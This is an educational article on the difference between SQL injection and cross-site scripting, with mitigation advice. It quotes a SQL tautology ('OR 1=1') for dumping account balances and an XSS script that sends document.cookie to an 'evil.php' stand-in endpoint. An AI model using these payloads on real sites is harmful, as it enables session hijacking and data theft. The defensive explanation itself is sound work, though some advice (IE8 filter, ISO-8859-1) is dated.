Learn The Difference Between Injection and Cross-Site Scripting Attacks!

Injection and cross-site scripting are the most common attacks amongst top 10 OWASP.

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of un-validated or un-encoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

There are three types of cross-site scripting attacks:

  1. Reflected XSS: Your app or API includes unvalidated and unescaped user input as part of HTML output or there is no content security policy (CSP) header. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with a link, or some other attacker controlled page, such as a watering hole attack, malvertizing, or similar. 
  2. Stored XSS: Your app or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk. 
  3. DOM XSS: JavaScript frameworks, single page apps, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs. Typical XSS attacks include session stealing, account takeover, MFA bypass, DIV replacement or defacement (such as trojan login DIVs), attacks against the user's browser such as malicious software downloads, keylogging, and other client-side attacks.

The attacker uses one of the website's forms to insert a malicious string into the website's database. The victim requests a page from the website. The website includes the malicious string from the database in the response and sends it to the victim. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

Injection attacks refer to a broad class of attack vectors that allow an attacker to supply untrusted input to a program, which gets processed by an interpreter as part of a command or query which alters the course of execution of that program. Injection attacks are amongst the oldest and most dangerous web application attacks. They can result in data theft, data loss, loss of data integrity, denial of service, as well as full system compromise.

To perform an injection attack, the attacker attempts to place data that is interpreted as instructions in common inputs. A successful attack requires three elements:

  1. Identifying the technology that the web application is running. Injection attacks are heavily dependent on the programming language or hardware possessing the problem. This can be accomplished with some reconnaissance or by simply trying all common injection attacks. To identify technologies, an attacker can look at web page footers, view error pages, view page source code, and use tools such as Nessus, Nmap, THC-amap, and others.
  2. Identifying all possible user inputs. Some user input is obvious, such as HTML forms. However, an attacker can interact with a web application in many ways. An attacker can manipulate hidden HTML form inputs, HTTP headers (such as cookies), and even backend Asynchronous JavaScript and XML (AJAX) requests that are not seen by end users. Essentially all data within every HTTP GET and POST should be considered user input. To help identify all possible user inputs to a web application, you can use a web proxy such as WebScarab, Paros, or Burp. Finding the user input that is susceptible to the attack. This may seem difficult, but web application error pages sometimes provide great insight into what user input is vulnerable.
  3. Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.

How Injection Differs From Cross Site Scripting?

The main difference between a SQL and XSS injection attack is that SQL injection attacks are used to steal information from databases whereas XSS attacks are used to redirect users to websites where the attacker can steal data from them. SQL injection is database focused whereas XSS is geared towards attacking end users.

A SQL injection attack happens when structured query language (SQL) code is injected into forms, cookies, or HTTP headers that do not use data sanitizing or validation methods to verify that information fits within prescribed GET or POST parameters. This flaw allows data exfiltration, changes, or deletion from databases that are connected to websites. According to the open web application security project (OWASP), the five main techniques used in SQL injection attacks are union operator, boolean, error based, out of band, and time delay. Here’s an example of possible SQL injection syntax that can be used to retrieve all customer account balances if not properly restricted on the website: balance FROM accounts WHERE account_owner_id = 0 OR 1=1.

In contrast, an XSS attack uses malicious code to redirect users to malicious websites, steal cookies or credentials, or deface websites. This is usually accomplished using malicious scripts that are executed in client browsers as a result of user input, functional statements, client requests, or other expressions. For example, attackers can attack maliciously crafted URLs via email phishing attempts, email attachments with embedded links, frames on legitimate websites, and web forums that are known to be frequently visited by targeted users. While SQL injection attacks target information in back-end databases, XSS attacks focus on stealing data from the website’s front end. According to OWASP, the following syntax can be used to perform an XSS attack to steal cookie data is if input validation is not used:

<SCRIPT type=”text/javascript”>
adr = ‘../evil.php?cakemonster=’ + escape(document.cookie);

How To Mitigate Injection And Cross-Site Scripting Attacks?

Encrypt sensitive data.Access the database using an account with the least privileges necessary.Install the database using an account with the least privileges necessary.Ensure that data is valid.Do a code review to check for the possibility of second-order attacks.Use parameterized queries.Use stored procedures.Re-validate data in stored procedures.Ensure that error messages give nothing away about the internal architecture of the application or the database.

To reduce the chances of your site becoming a victim of an XSS attack, it's essential that... ...any Web application is developed using some form of security development lifecycle (SDL). I will look at SDLs in more detail in a future article, but their aim is to reduce the number of security-related design and coding errors in an application and reduce the severity of any errors that remain undetected. A critical rule you'll learn when developing secure applications is to assume that all data received by the application is from an untrusted source. This applies to any data received by the application -- data, cookies, emails, files or images -- even if the data is from users who have logged into their account and authenticated themselves.

Not trusting user input means validating it for type, length, format, and range whenever data passes through a trust boundary, say from a Web form to an application script, and then encoding it prior to redisplaying in a dynamic page. In practice, this means that you need to review every point on your site where user-supplied data is handled and processed and ensure that, before being passed back to the user, any values accepted from the client side are checked, filtered and encoded.

Client-side validation cannot be relied upon, but user input can be forced down to a minimal alphanumeric set with server-side processing before being used by your Web application in any way. You can use regular expressions to search and replace user input to ensure it's non-malicious. This cleaning and validation should be performed on all data before passing it on to another process. For example, a phone number field shouldn't accept any punctuation other than parentheses and dashes. You also need to encode special characters like "<" and ">" before they are redisplayed if they are received from user input. For example, encoding the script tag ensures a browser will display <script> but not execute it. In conjunction with encoding, it is important that your webpages always define their character set so the browser won't interpret special character encodings from other character sets.

Given that browsers aren't meant to assume any default value for the page's charset, and some servers don't allow or aren't configured to allow a charset parameter to be sent, it's important that you don't miss this meta tag out from your web pages. It will greatly reduce the number of possible forms a script injection can take. So if your Web application doesn't need to display characters outside the ISO-8859-1 character set, which is sufficient for English and most European languages, every single page should use the following meta tag to declare its characters:

 <META HTTP-equiv="Content-Type" content="text/html; charset= ISO-8859-1"> 

Web applications that do not need to accept rich data can use escaping to completely eliminate the risk of XSS. There are, of course, times when an application will need to accept special HTML characters, such as "<" and ">", for example on social networking sites where font formatting is accepted functionality. Securely encoding such input can be tricky due to the flexibility and complexity of HTML. I'd recommend making use of a security encoding library. Microsoft's ASP.NET provides validation server controls that can validate user input. Web applications running on an Apache server or using the Perl programming language can also use the Apache:: TaintRequest module or PerlTaintcheck to automate the process of handling external data. You should ensure that all your developers understand how to incorporate these additional safety features into their code.

Another barrier to XSS attacks is a "crossing boundaries" policy whereby authenticated users have to re-enter their passwords before accessing certain services. For instance, even if a user has a cookie that will automatically log them into your site, they should be forced to enter their username and password when they attempt to access any sensitive account information. This extra boundary can limit the possibility of a session being hijacked by an XSS attack. Another simple yet effective technique is to immediately expire a session if machines at two separate IP addresses attempt to use the same session data. You can create session IDs using information specific to the user such as a timestamp and IP address. Although this technique can be overcome by IP spoofing, it does provide an extra layer of security against automated attacks.

You should look at using automatic source code scanning tools and Web vulnerability scanners during the development of your applications. A good Web vulnerability scanner will spot common technical weaknesses, such as those that are vulnerable to cross-site scripting. If you use third-party packages like search engines on your site, you should always check for known vulnerabilities or configuration issues with the vendors. This should be followed by a thorough test of how they handle unwanted input. Never assume they are secure.

Prior to putting your Web application live, you should conduct a penetration test. By simulating an attack, you can evaluate whether your site still has any potential XSS vulnerabilities resulting from the poor or improper system configuration, hardware or software flaws or weaknesses in the perimeter defenses protecting the site. I would recommend that you read the Open Source Security Testing Methodology Manual, which provides a recognized methodology for performing security tests and measuring the results.

Most sites nowadays won't work without client-side scripting, so asking users to turn off scripting in their browser is not really a solution, particularly as most wouldn't know how to do this anyway. In a welcome effort to combat XSS attacks, Microsoft's IE 8 has an XSS Filter which aims to provide automatic detection and prevention of common XSS attacks if they try to replay in the server's response. Users are not presented with questions they are unable to answer; IE simply blocks the malicious script from executing.

Authored By -Aishwarya Yadav
TCS Cyber Security Practice

Rate this article: 
Average: 3.7 (10 votes)
Article category: